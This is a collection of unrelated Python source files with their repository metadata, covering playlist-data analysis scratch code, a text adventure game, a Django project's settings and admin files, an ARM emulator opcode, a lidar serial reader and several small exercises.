as in_f: # num_of_rating = 0 # for line in in_f: # num_of_rating += 1 # print(num_of_rating) # 10000054 # # i = 0 # qq = [] # for line in file("Data/all_NeuMF.txt"): # if i % 10000 == 0: # print(i) # i += 1 # data = line.rstrip('\n').split('\t') # qq.append(int(data[1])) # # max(qq) # print(line) # print(data) # # # i_idx = str(0) # # mark = str(0) # # outfile = file("netflix/u_u_5.txt", "w") # # for line in file("netflix/u_u_4.txt"): # # data = line.rstrip('\n').split('\t') # # if i_idx == data[1]: # # data.append(mark) # # mark = data[3] # # else: # # data.append(str(0)) # # mark = data[3] # # i_idx = data[1] # # outfile.write('\t'.join(data)) # # outfile.write('\n') # # outfile.close() # # # # for i in range(len(a)): # # #if i % 10000 == 0: # # print(i) # # for j in range(len(a[str(i)])): # # c[str(i)][j] = int(np.where(b == a[str(i)][j])[0]) # # # for k in range(num_of_song): # # # if b[k] == a[str(i)][j]: # # # c[str(i)][j] = k+1 # # # # # for i in range(len(a)): # # if i % 10000 == 0: # # print(i) # # for j in range(len(a[str(i)])): # # tmp1 = ord(a[str(i)][j][0]) - 48 # # tmp2 = ord(a[str(i)][j][1]) - 48 # # tmp3 = ord(a[str(i)][j][2]) - 48 # # if tmp1 == 0 and tmp2 == 0 and tmp3 == 0: # # s1 = 0 # # elif tmp1 == 0 and tmp2 == 0: # # s1 = sum(map[0, 0, 0:tmp3]) # # elif tmp2 == 0 and tmp3 == 0: # # s1 = sum(sum(sum(map[0:tmp1, :, :]))) # # elif tmp1 == 0 and tmp3 == 0: # # s1 = sum(sum(map[0, 0:tmp2, :])) # # elif tmp1 == 0: # # s1 = sum(sum(map[0, 0:tmp2, :])) + sum(map[0, tmp2, 0:tmp3]) # # elif tmp2 == 0: # # s1 = sum(sum(sum(map[0:tmp1, :, :]))) + sum(map[tmp1, tmp2, 0:tmp3]) # # elif tmp3 == 0: # # s1 = sum(sum(sum(map[0:tmp1, :, :]))) + sum(sum(map[tmp1, 0:tmp2, :])) # # else: # # s1 = sum(sum(sum(map[0:tmp1, :, :])))\ # # + sum(sum(map[tmp1, 0:tmp2, :])) + sum(map[tmp1, tmp2, 0:tmp3]) # # s2 = s1 + map[tmp1, tmp2, tmp3] # # tmpb = b[s1:s2] # # c[str(i)][j] = s1 + int(np.where(tmpb == a[str(i)][j])[0]) # # # qq1 = [] # # qq2 = [] # # for line in file("Data/all_NeuMF.txt"): # # data = line.rstrip('\n').split('\t') # # qq1.append(int(data[0])) # # qq2.append(int(data[1])) # # qq1 = [] # for line in file("Data/Task_2/PL.train.rating.txt"): # data = line.rstrip('\n').split('\t') # if int(data[0]) == 7: # print(data) # qq1.append(int(data[1])) # print(qq1) # import numpy as np # b = np.load('song_name.py.npy') # # map = np.zeros([8, 75, 75], dtype=np.int) # for i in range(len(b)): # map[ord(b[i][0])-48, ord(b[i][1]) - 48, ord(b[i][2]) - 48] += 1 # # # Cmap = np.reshape(np.cumsum(map), [8, 75, 75]) # np.save('Cmap', Cmap) # np.save('map', map) # import json # import numpy as np # # #tmp = '5_TEST_T9' # #filename = 'PL_TRACKS_'+tmp+'.json' # filename = 'PL_TRACKS_ALL.json' # a = json.load(open(filename)) # Cmap = np.load('Cmap.npy') # map1 = np.load('map.npy') # b = np.load('song_name.py.npy') # # import copy # c = copy.deepcopy(a) # # k = 0 # for i in a.keys(): # k += 1 # if k % 10000 == 0: # print(k) # for j in range(len(a[i])): # tmp1 = ord(a[str(i)][j][0]) - 48 # tmp2 = ord(a[str(i)][j][1]) - 48 # tmp3 = ord(a[str(i)][j][2]) - 48 # s2 = Cmap[tmp1, tmp2, tmp3] # s1 = Cmap[tmp1, tmp2, tmp3] - map1[tmp1, tmp2, tmp3] # tmpb = b[s1:s2] # c[i][j] = s1 + int(np.where(tmpb == a[i][j])[0]) # # # ff = 'Data/'+tmp+'.json' # ff = 'PL_TRACKS_ALL_MAP.json' # with open(ff, 'w') as fp: # json.dump(c, fp) # import json # import numpy as np # # tmp = 'ALL' # filename = 'PL_TRACKS_'+tmp+'.json' # a = json.load(open(filename)) # # qq = [] # k = 0 # for i in a.keys(): # k += 1 # if k % 10000 == 0: # print(k) # if len(a[i]) != len(set(a[i])): # print(i) # qq.append(i) # # print len(qq) # Cmap = np.load('Cmap.npy') # qq=0 # for i in xrange(8): # for j in xrange(75): # for k in xrange(75): # if i*j*k!=0: # if Cmap[i,0,k]<Cmap[i-1,74,k]: # qq+=1 # # # # # 053xKa7PdxQsJNWmBjV0sv # # 053xKa7PdxQsJNWmBjV0sv # import json # import numpy as np # # filename = 'Data/ALL.json' # a = json.load(open(filename)) # # t = np.zeros(2300000) # np.save('track_stat.npy', t) # # k = 0 # for i in a.keys(): # k += 1 # if k % 10000 == 0: # print k # tmp = a[i] # a[i] = list(set(a[i])) # if len(a[i]) != 0: # for j in xrange(len(a[i])): # t[a[i][j]] += 1 # # np.save('track_stat.npy', t) # import numpy as np # import matplotlib.mlab as mlab # import matplotlib.pyplot as plt # # t = np.load('track_stat.npy') # # # g = t[t<100] # # plt.hist(t, 10) # # # a20 = np.where(t>20)[0] # a50 = np.where(t>50)[0] # a100 = np.where(t>100)[0] # a500 = np.where(t>500)[0] # # np.save('item_idx_20_up.npy', a20) # np.save('item_idx_50_up.npy', a50) # np.save('item_idx_100_up.npy', a100) # np.save('item_idx_500_up.npy', a500) # import numpy as np # import matplotlib.mlab as mlab # import matplotlib.pyplot as plt # # t = np.load('track_stat.npy') # # n = 100 # qq = np.zeros(n) # for i in range(n): # qq[i] = len(t[(t>5*i)&(t<=5*(i+1))])/2262292.0 # # # qq2 = np.zeros(n) # for i in range(n): # qq2[i] = sum(t[(t>5*i)&(t<=5*(i+1))])/sum(t) # # # plt.plot(qq, qq2) # plt.figure(3) # plt.plot(range(0, 500, 5), qq2[0:100]) # # # plt.plot(range(0, 100, 5), np.cumsum(qq2)) # # plt.figure(2) # plt.plot(range(0, 100, 5), np.cumsum(qq[0:20])) # # # plt.figure(4) # plt.plot(range(0, 500, 5), qq2*1.0/qq) # import json # import numpy as np # # filename = 'Data/ALL.json' # a = json.load(open(filename)) # # t = np.zeros([2262292, 350]) # np.save('track_stat_2.npy', t) # # k = 0 # for i in a.keys(): # k += 1 # if k % 10000 == 0: # print k # tmp = a[i] # a[i] = list(set(a[i])) # if len(a[i]) != 0: # for j in xrange(len(a[i])): # t[a[i][j], j] += 1 # # np.save('track_stat_2.npy', t) # import numpy as np # import matplotlib.mlab as mlab # import matplotlib.pyplot as plt # # t = np.load('track_stat_2.npy') # # # >1 # tmp = np.sum(t[:, 1:], 1) # a0 = np.where(tmp>0)[0] # a5 = np.where(tmp>5)[0] # a20 = np.where(tmp>20)[0] # a50 = np.where(tmp>50)[0] # a100 = np.where(tmp>100)[0] # a500 = np.where(tmp>500)[0] # np.save('item_idx_0_up_1.npy', a0) # np.save('item_idx_5_up_1.npy', a5) # np.save('item_idx_20_up_1.npy', a20) # np.save('item_idx_50_up_1.npy', a50) # np.save('item_idx_100_up_1.npy', a100) # np.save('item_idx_500_up_1.npy', a500) # # # # >5 # tmp = np.sum(t[:, 5:], 1) # a0 = np.where(tmp>0)[0] # a5 = np.where(tmp>5)[0] # a20 = np.where(tmp>20)[0] # a50 = np.where(tmp>50)[0] # a100 = np.where(tmp>100)[0] # a500 = np.where(tmp>500)[0] # np.save('item_idx_0_up_5.npy', a0) # np.save('item_idx_5_up_5.npy', a5) # np.save('item_idx_20_up_5.npy', a20) # np.save('item_idx_50_up_5.npy', a50) # np.save('item_idx_100_up_5.npy', a100) # np.save('item_idx_500_up_5.npy', a500) # # # >25 # tmp = np.sum(t[:, 25:], 1) # a0 = np.where(tmp>0)[0] # a5 = np.where(tmp>5)[0] # a20 = np.where(tmp>20)[0] # a50 = np.where(tmp>50)[0] # a100 = np.where(tmp>100)[0] # a500 = np.where(tmp>500)[0] # np.save('item_idx_0_up_25.npy', a0) # np.save('item_idx_5_up_25.npy', a5) # np.save('item_idx_20_up_25.npy', a20) # np.save('item_idx_50_up_25.npy', a50) # np.save('item_idx_100_up_25.npy', a100) # np.save('item_idx_500_up_25.npy', a500) # # # >100 # tmp = np.sum(t[:, 100:], 1) # a0 = np.where(tmp>0)[0] # a5 = np.where(tmp>5)[0] # a20 = np.where(tmp>20)[0] # a50 = np.where(tmp>50)[0] # a100 = np.where(tmp>100)[0] # a500 = np.where(tmp>500)[0] # np.save('item_idx_0_up_100.npy', a0) # np.save('item_idx_5_up_100.npy', a5) # np.save('item_idx_20_up_100.npy', a20) # np.save('item_idx_50_up_100.npy', a50) # np.save('item_idx_100_up_100.npy', a100) # np.save('item_idx_500_up_100.npy', a500) # import json # import numpy as np # q = json.load(open('PL_NUM_HOLDOUTS_READONLY.json')) # ori = json.load(open('PL_NUM_TRACKS_READONLY.json')) # t = np.array(q.values()) # # t_ori = np.array(ori.values()) # # diff = t_ori-t # import json # a = json.load(open('PL_TRACKS_ALL_MAP.json')) # # k = 0 # t = 0 # for i in a.keys(): # k += 1 # if k % 10000 == 0: # print(k) # t += len(list(set(a[i]))) # print(t) # # # # import json # a = json.load(open('PL_TRACKS_FINAL_TEST.json')) # # k = 0 # t = 0 # for i in a.keys(): # k += 1 # if k % 10000 == 0: # print(k) # t += len(list(set(a[i]))) # print(t) # a = json.load(open('PL_TRACKS_FINAL_TEST.json')) # a['1003738'] # [754961, 1203346, 1974353, 1040207, 1498381] # a = json.load(open('WAR_PL_TRACKS_READONLY.json')) # a['1003738'] # [u'2aibwv5hGXSgw7Yru8IYTO', u'48UPSzbZjgc449aqz8bxox', u'6nTiIhLmQ3FWhvrGafw2zj', u'3ZffCQKLFLUvYM59XKLbVm', u'59WN2psjkt1tyaxjspN8fp'] # b = np.load('song_name.py.npy') # Traceback (most recent call last): # File "<input>", line 1, in <module> # NameError: name 'np' is not defined # import numpy as np # b = np.load('song_name.py.npy') # import json # import numpy as np # #tmp = '5_TEST_T7' # #filename = 'PL_TRACKS_'+tmp+'.json' # #filename = 'Data/TryT5.json' # filename = 'QQ_submit_word2vec.json' # a = json.load(open(filename)) # Cmap = np.load('Cmap.npy') # map1 = np.load('map.npy') # b = np.load('song_name.py.npy') # # import copy # c = copy.deepcopy(a) # # k = 0 # for i in a.keys(): # k += 1 # if k % 10000 == 0: # print(k) # for j in range(len(a[i])): # tmp1 = ord(a[str(i)][j][0]) - 48 # tmp2 = ord(a[str(i)][j][1]) - 48 # tmp3 = ord(a[str(i)][j][2]) - 48 # s2 = Cmap[tmp1, tmp2, tmp3] # s1 = Cmap[tmp1, tmp2, tmp3] - map1[tmp1, tmp2, tmp3] # tmpb = b[s1:s2] # c[i][j] = s1 + int(np.where(tmpb == a[i][j])[0]) # # # ff = 'Data/'+tmp+'.json' # ff = 'QQ_submit_word2vec_MAP.json' # # ff = 'Data/Try.json' # with open(ff, 'w') as fp: # json.dump(c, fp) import json a = json.load(open('xing.json')) b = json.load(open('QQ_submit_word2vec_MAP.json')) c = json.load(open('PL_NUM_HOLDOUTS_READONLY.json')) d = json.load(open('PL_NUM_TRACKS_READONLY.json')) qq = {} xing = {} for i in b.keys(): qq[i] = b[i][0:c[i]] for i in a.keys(): xing[i] = a[i][0:c[i]] import numpy as np num = np.zeros(10000) k = 0 for i in qq.keys(): num[k] = len(set(qq[i]).intersection(set(xing[i]))) k += 1 total = 0 for i in qq.keys(): total += len(qq[i]) ori = np.zeros(10000) k = 0 for i in qq.keys(): ori[k] = len(set(qq[i])) k+=1 gg = num/ori import matplotlib.mlab as mlab import matplotlib.pyplot as plt plt.plot(gg) plt.hist(gg,bins=50,normed=True) # Statistics are only based on 9000 users T1-T9 no T0 import numpy as np idx = np.load('item_idx_100_up.npy') qq_t = 0 # 670562 for i in qq.keys(): for j in range(len(qq[i])): if qq[i][j] in idx: qq_t += 1 c_t = 0 # 670562 for i in qq.keys(): for j in range(len(qq[i])): c_t += 1 xing_t = 0 # 657957 total: 670562 diff: 12605 for i in qq.keys(): for j in range(len(qq[i])): if xing[i][j] in idx: xing_t += 1 xing_a_t = 0 # 4356849 total: 4500000 diff: 143151 for i in qq.keys(): for j in range(len(a[i])): if a[i][j] in idx: xing_a_t += 1 qq_b_t = 0 # 4500000 for i in qq.keys(): for j in range(len(b[i])): if b[i][j] in idx: qq_b_t += 1 # Overlap k = 0 num = np.zeros(9000) for i in qq.keys(): num[k] = len(set(qq[i]).intersection(set(xing[i]))) k += 1 k = 0 num2 = np.zeros(9000) for i in qq.keys(): num2[k] = len(set(b[i]).intersection(set(a[i]))) k += 1 # First 10/20/30 Tracks Statistics N = np.zeros(9000) # 5-225, >10: 8891 >20: 8435 >30: 7948 >40: 6971 >50: 6119 k = 0 for i in qq.keys(): N[k] = c[i] k += 1 # qq top 10/20/30 in Xing # top 5 N5 = np.zeros(9000) k = 0 for i in qq.keys(): for j in range(5): if b[i][j] in xing[i]: N5[k] += 1 k += 1 # top 10 N10 = np.zeros(9000) k = 0 for i in qq.keys(): for j in range(min(10, c[i])): if b[i][j] in xing[i][0:min(10, c[i])]: N10[k] += 1 k += 1 Ng10 = np.minimum(N10, N) N20 = np.zeros(9000) k = 0 for i in qq.keys(): for j in range(20): if b[i][j] in xing[i]: N20[k] += 1 k += 1 Ng20 = np.minimum(N20, N) N30 = np.zeros(9000) k = 0 for i in qq.keys(): for j in range(30): if b[i][j] in xing[i]: N30[k] += 1 k += 1 Ng30 = np.minimum(N30, N) # # # Change to orginal # import numpy as np # import json # filename = 'Data/TryT5.json' # Final = json.load(open(filename)) # b = np.load('song_name.py.npy') # k = 0 # for p in Final.keys(): # k += 1 # if k % 10000 == 0: # print(k) # for q in range(len(Final[p])): # Final[p][q] = b[Final[p][q]] # # # ff = 'Data/TryT5Final.json' # with open(ff, 'w') as fp: # json.dump(Final, fp) # import json # # a = json.load(open('PL_TRACKS_ALL_MAP.json')) # for i in a.keys(): # a[i] = [str(x) for x in a[i]] # # ff = 'PL_TRACKS_ALL_MAP_STR.json' # with open(ff, 'w') as fp: # json.dump(a, fp) # import json # import numpy as np # Final = json.load(open('Data/TryT5.json')) # b = np.load('song_name.py.npy') # k = 0 # for p in Final.keys(): # k += 1 # if k % 10000 == 0: # print(k) # for q in range(len(Final[p])): # Final[p][q] = b[Final[p][q]] # # ff = 'Data/T5.json' # with open(ff, 'w') as fp: # json.dump(Final, fp) # # # # Final = json.load(open('Data/TryT2.json')) # b = np.load('song_name.py.npy') # k = 0 # for p in Final.keys(): # k += 1 # if k % 10000 == 0: # print(k) # for q in range(len(Final[p])): # Final[p][q] = b[Final[p][q]] # # ff = 'Data/T2.json' # with open(ff, 'w') as fp: # json.dump(Final, fp) # # # Final = json.load(open('Data/TryT6.json')) # b = np.load('song_name.py.npy') # k = 0 # for p in Final.keys(): # k += 1 # if k % 10000 == 0: # print(k) # for q in range(len(Final[p])): # Final[p][q] = b[Final[p][q]] # # ff = 'Data/T6.json' # with open(ff, 'w') as fp: # json.dump(Final, fp) import json import numpy as np a = json.load(open('PL_TRACKS_FINAL_TEST.json')) # t = np.load('item_idx_100_up.npy') t = np.load('item_idx_5_up.npy') t1 = np.zeros(10000) t2 = np.zeros(10000) k = 0 for i in a.keys(): t1[k] = len(a[i]) tmp = 0 for j in a[i]: if j in t: tmp+=1 t2[k] = tmp k += 1

[ "xing@falcon.cs.tamu.edu" ]

xing@falcon.cs.tamu.edu

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#!/usr/bin/env python3 import sys, os, json # Check to make sure we are running the correct version of Python assert sys.version_info >= (3,7), "This script requires at least Python 3.7" # The game and item description files (in the same folder as this script) game_file = 'game.json' item_file = 'items.json' inventory = [] points = 0 moves = 0 # Load the contents of the files into the game and items dictionaries. You can largely ignore this # Sorry it's messy, I'm trying to account for any potential craziness with the file location def load_files(): try: __location__ = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__))) with open(os.path.join(__location__, game_file)) as json_file: game = json.load(json_file) with open(os.path.join(__location__, item_file)) as json_file: items = json.load(json_file) return (game,items) except: print("There was a problem reading either the game or item file.") os._exit(1) def check_inventory(item): for i in inventory: if i == item: return True return False def calculate_points(items): points = 0 for i in inventory: if i in items: points += items[i]["points"] return points def render(game,items,current, moves, points): c = game[current] print("\n\n{} Moves\t\t\t\t{} Points".format(moves, points)) print("\nYou are at the " + c["name"]) print(c["desc"]) #display any items for i in c["items"]: if not check_inventory(i["item"]): print(i["desc"]) #display item information for i in inventory: if i in items: if current in items[i]["exits"]: print(items[i]["exits"][current]) print("\nAvailable exits: ") for e in c["exits"]: print(e["exit"].lower()) def get_input(): response = input("\nWhat would you like to do? ") response = response.upper().strip() return response def update(game,items,current,response): if response == "INVENTORY": print("You are carrying:") if len(inventory) == 0: print("Nothing") else: for i in inventory: print(i.lower()) return current c = game[current] for e in c["exits"]: if response == e["exit"]: return e["target"] for item in c["items"]: if response == "GET " + item["item"] and not check_inventory(item["item"]): print(item["take"]) inventory.append(item["item"]) return current for i in inventory: if i in items: for action in item[i]["actions"]: if response == action + " " + i: print(items[i]["actions"][action]) return current # To do: verb object direct-object if response[0:3] == "GET": print("You can't take that!") elif response in ["NORTH","SOUTH","EAST","WEST","NW","NE","SW","SE","UP"]: print("You can't go that way!") else: print("I don't understand what you are tryiing to do") return current # The main function for the game def main(): current = 'BRIDGE' # The starting location end_game = ['END'] # Any of the end-game locations moves = 0 points = 0 (game,items) = load_files() while True: render(game, items, current, moves, points) if current in end_game: break response = get_input() if response == "QUIT": break current = update(game, items, current, response) moves += 1 points = calculate_points(items) print("Thanks for playing!") print("You scored {} points in {} moves.".format(points.moves)) # Add your code here # run the main function if __name__ == '__main__': main()

[ "60207595+maliklyu@users.noreply.github.com" ]

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/chapter13(enumrate function)/sorted.py

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[]

no_license

jyash28/Python-practice

b0c9df42bc93716d8721a1420ee1f3170b40b18c

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refs/heads/main

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guitars= [ {"model1" : 'famaha f310' ,"price": 8400}, {"model2" : 'faith neptune' ,"price": 100000}, {"model3" : 'faith appolo venus' ,"price": 35000}, {"model4" : 'taylor' ,"price": 450000} ] sorted_guitars = sorted(guitars, key= lambda d: d["price"],reverse = True) print(sorted_guitars)

[ "jyash548@gmail.com" ]

jyash548@gmail.com

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/test/unit/session_OverwriteSession.py

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xemdetia/telecircle

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refs/heads/master

2021-01-09T21:51:12.132070

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import unittest from web.session import Session from web.db.db_manager import DatabaseManager class DatabaseManagerMock(DatabaseManager): def __init__(self): self.v = dict({'hello':'goodbye'}) def get_session_dict(self, session_id): return self.v def replace_session(self, session_id, values): self.v = values def get_dict(self): return self.v class TestMakeNewSession(unittest.TestCase): def test_saveEmptySession(self): d = DatabaseManagerMock() s = Session(d,1) a = d.get_dict() a["ok"] = "ok" s.save() self.assertTrue(isinstance(d.get_dict(),dict)) self.assertEquals(len(d.get_dict()), 2) if __name__ == "__main__": unittest.main()

[ "xemdetia@808inorganic.com" ]

xemdetia@808inorganic.com

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/armulator/armv6/opcodes/concrete/ldc_ldc2_immediate_a2.py

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matan1008/armulator

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refs/heads/master

2023-08-17T14:40:52.793120

2023-08-08T04:57:02

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from armulator.armv6.arm_exceptions import UndefinedInstructionException from armulator.armv6.bits_ops import substring, bit_at from armulator.armv6.opcodes.abstract_opcodes.ldc_ldc2_immediate import LdcLdc2Immediate class LdcLdc2ImmediateA2(LdcLdc2Immediate): @staticmethod def from_bitarray(instr, processor): imm8 = substring(instr, 7, 0) coproc = substring(instr, 11, 8) rn = substring(instr, 19, 16) index = bit_at(instr, 24) add = bit_at(instr, 23) wback = bit_at(instr, 21) if substring(coproc, 3, 1) == 0b101: raise UndefinedInstructionException() else: imm32 = imm8 << 2 return LdcLdc2ImmediateA2(instr, cp=coproc, n=rn, add=add, imm32=imm32, index=index, wback=wback)

[ "matan1008@gmail.com" ]

matan1008@gmail.com

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/resgain_django/day22_django/settings.py

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[]

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wangyuncao/resgain_django

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""" Django settings for day22_django project. Generated by 'django-admin startproject' using Django 2.1.3. For more information on this file, see https://docs.djangoproject.com/en/2.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.1/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '3d55-yz80e0=6ypaa+m$3mr#rvhf_crj^7%u$oyp3*ms5t0xu4' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'api.apps.ApiConfig', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'day22_django.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'templates')], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'day22_django.wsgi.application' # Database # https://docs.djangoproject.com/en/2.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'resgain', 'USER': 'root', 'PASSWORD': '123456', 'HOST': '127.0.0.1', 'PORT': 3306 } } # Password validation # https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.1/howto/static-files/ STATIC_URL = '/static/'

[ "wangyoucao1995@qq.com" ]

wangyoucao1995@qq.com

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/apps/log/admin.py

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[]

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Illutron/IllutronDashboard

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refs/heads/master

2021-01-15T21:07:33.063349

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# -*- coding: utf-8 -*- from django.contrib import admin from models import Entry, Provider admin.site.register(Entry, admin.ModelAdmin) admin.site.register(Provider, admin.ModelAdmin)

[ "jbl@1calendar.com" ]

jbl@1calendar.com

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/lidar_range.py

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[]

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kiddos/icp-slam

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refs/heads/master

2020-07-01T02:57:47.956932

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from __future__ import print_function import serial import time import numpy as np import cv2 import math import datetime import matplotlib.pyplot as plt import matplotlib.animation as animation def to_binary(char): binary = list() value = ord(char) while value > 0: binary = [value % 2] + binary value /= 2 return binary def to_decimal(binary): value = 0 for i in range(len(binary)): value += binary[i] * pow(2, len(binary) - 1 - i) return value def decode(char): new_char = chr(ord(char) - ord('0')) return to_binary(new_char) def decode_to_value(string): binary = list() for i in range(len(string)): s = string[i] new_char = chr(ord(s) - ord('0')) b = to_binary(new_char) if len(b) < 6: for k in range(6 - len(b)): b = [0] + b binary += b return to_decimal(binary) # open def bm_command(lidar): message = 'BM;%s\x0A' % ('open_lidar') lidar.write(message) read_bytes = 5 + len(message) data = lidar.read(read_bytes).replace('\x0A', ' | ') print('bm command respond: ', end='') print(data) # for c in data[3 + len(message):]: # print(ord(c)) status = data.split(' | ')[1] return status[:2] # close def qt_command(lidar): message = 'QT;%s\x0A' % ('close_lidar') lidar.write(message) read_bytes = 5 + len(message) data = lidar.read(read_bytes).replace('\x0A', ' | ') print('qt command respond: ', end='') print(data[:len(message)]) def time_stamp_value(time_stamp): binary = list() for i in range(len(time_stamp)): b = decode(time_stamp[i]) if len(b) < 6: for k in range(6 - len(b)): b = [0] + b binary += b return to_decimal(binary) def mdms_command(lidar, ctype='S', start='0044', end='0725', cluster='01', interval='0', scan_count='01', message='lidar_data', output=True): input_message = 'M%s%s%s%s%s%s;%s\x0A' % (ctype, start, end, cluster, interval, scan_count, message) lidar.write(input_message) read_bytes = len(input_message) response = lidar.read(read_bytes + 5).replace('\x0A', ' | ') if output: print('mdms command 1st response: %s' % (response)) data = list() status = response.split(' | ')[1][:2] if status not in ['00', '99']: return status, data # get data unit_size = 2 if ctype == 'S' else 3 data_size = (unit_size) * (int(end) - int(start) + 1) data_size += 2 * (data_size / 64 + 1) + 1 data_size = read_bytes + 10 + data_size print('computed datasize: %s' % data_size) response = lidar.read(data_size).split('\x0A') # # get time stamp time_stamp = time_stamp_value(response[2][:4]) print('time stamp: %s' % (time_stamp)) total_length = 0 for i in '\x0A'.join(response): total_length += 1 print('total length: %s' % total_length) all_data = list() for r in response[3:]: all_data += r[:-1] print(len(all_data)) for i in range(0, len(all_data), 2): data.append(decode_to_value(all_data[i:i+2])) # return status[:2], data return status, data def gdgs_command(lidar, ctype='S', start='0044', end='0726', cluster='03', message='lidar_data'): input_message = 'G%s%s%s%s%s' % (ctype, start, end, cluster, message) + chr(10) print('input message lenth: %d' % len(input_message)) lidar.write(input_message) read_bytes = len(input_message) response = lidar.read(read_bytes).replace(chr(10), 'LF') data = list() print('gdgs command: %s' % (response)) status = lidar.read(5) if status[:2] not in ['00', '99']: return status[:2], data return status[:2], data def main(): lidar = serial.Serial(port='/dev/ttyACM0', baudrate=750000, parity=serial.PARITY_ODD, stopbits=serial.STOPBITS_TWO, bytesize=serial.SEVENBITS, timeout=3) # open lidar status = bm_command(lidar) print('open status: %s' % status) center = (300, 300) start_theta = - math.pi * 2 / 3 images = list() fig = plt.figure() for i in range(1000): image = np.zeros(shape=[600, 600, 3]) begin = datetime.datetime.now() response, data = mdms_command(lidar) end = datetime.datetime.now() passed = end - begin print('timepassed: %s' % (passed.seconds + 1e-6 * passed.microseconds)) # print(response) if response not in ['00', '99']: break print('data size: %s' % (len(data))) delta = math.pi * 4 / 3 / len(data) for i, theta in enumerate( [start_theta + delta * i for i in range(len(data))]): val = data[i] p = (int(center[0] + val * math.cos(theta)), int(center[1] + val * math.sin(theta))) cv2.line(image, center, p, (255, 0, 255), 2) cv2.imshow('Image', image) images.append((plt.imshow(image[:, :, 0],),)) key = cv2.waitKey(10) if key in [10, 27]: break plt.colorbar() anim = animation.ArtistAnimation(fig, images, interval=200, repeat_delay=3000, blit=True) anim.repeat = False plt.show() anim.save('measurement noise.mp4') # close lidar qt_command(lidar) lidar.close() if __name__ == '__main__': main()

[ "josephyu831007@yahoo.com.tw" ]

josephyu831007@yahoo.com.tw

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/FFNN/utils.py

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[]

no_license

abiraja2004/awesome_nlp

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c409f873e16fc3768737a09dec1e9285b4931567

refs/heads/master

2020-03-08T09:34:02.287354

2017-12-18T14:11:34

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null

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import numpy as np def load_glove_matrix(w2i, glove_file): """ Represent word embeddings in a matrix to initialize the nn's embeddings. """ f = open(glove_file, 'rb') vocab_size = len(w2i) embedding_dim = 0 # Load all glove vectors, put them in a matrix for line in f: split_line = line.split() word = split_line[0] embedding = np.array([float(val) for val in split_line[1:]]) if embedding_dim == 0: embedding_dim = len(embedding) embeddings_matrix = np.zeros((vocab_size, embedding_dim)) # Use only words that are in the corpus if word in w2i: embeddings_matrix[w2i[word], :] = embedding # Replace zero vectors with random numbers for i, row in enumerate(embeddings_matrix): if not (False in [n == 0 for n in row]): vec = np.random.rand(1, embedding_dim) embeddings_matrix[i, :] = vec / np.linalg.norm(vec) return embeddings_matrix

[ "verna.dankers@student.uva.nl" ]

verna.dankers@student.uva.nl

db79d29536bf051d47169aa446adce646b1cde44

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/迭代器生成器/p-iterable.py

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[]

no_license

hhs44/interview

18ca7b11b03c5cc9a7d06139d42659596cc5f464

3ca122acaf5074d522edbef6651397a9321d6e99

refs/heads/master

2022-12-08T02:21:24.298935

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from collections import Iterable # 解开嵌套序列 def flatten(items, ignore_type=(str, bytes)): for x in items: if isinstance(x, Iterable) and not isinstance(x, ignore_type): yield from flatten(x) else: yield x items = [1,2,[3,4,5,[6,7],8],9] for x in flatten(items): print(x)

[ "1159986871@qq.com" ]

1159986871@qq.com

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2a05456121813e2c5c3a0e9a88c0c381a038633b

/euler089.py

b32e61c3f1608a6ae354bef88b3f646d1612cf92

[]

no_license

Octaith/euler

022fab72f7d2a72327694ea1970aa3e13a560673

457676a99013c7c5fd33697b82be998d07c464d9

refs/heads/master

2020-09-26T21:04:08.656499

2014-09-14T07:47:51

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roman = ( ('M', 1000), ('CM', 900), ('D', 500), ('CD', 400), ('C', 100), ('XC', 90), ('L', 50), ('XL', 40), ('X', 10), ('IX', 9), ('V', 5), ('IV', 4), ('I', 1) ) def roman_to_dec(s): result = 0 index = 0 for numeral, integer in roman: while s[index:index+len(numeral)] == numeral: result += integer index += len(numeral) return result def dec_to_roman(n): result = "" for numeral, integer in roman: while n >= integer: result += numeral n -= integer return result with open('roman.txt') as f: data = f.read().split('\n') saved = 0 for r in data: saved += len(r) saved -= len(dec_to_roman(roman_to_dec(r))) print saved

[ "banteeg@gmail.com" ]

banteeg@gmail.com

afb6f3a40ef4ed4a3849925a6560d09e0ba3b1c0

abc600f27c6d90bccd4d3b40d38ddbe5eb04e228

/scripts/include/pubsub/contextbroker/cbQueryBuilder.py

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[ "MIT" ]

permissive

Ikergune/firos

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5713d570c4a99f715b6ce1798527af068ea9cd4e

refs/heads/master

2021-09-09T01:30:15.100540
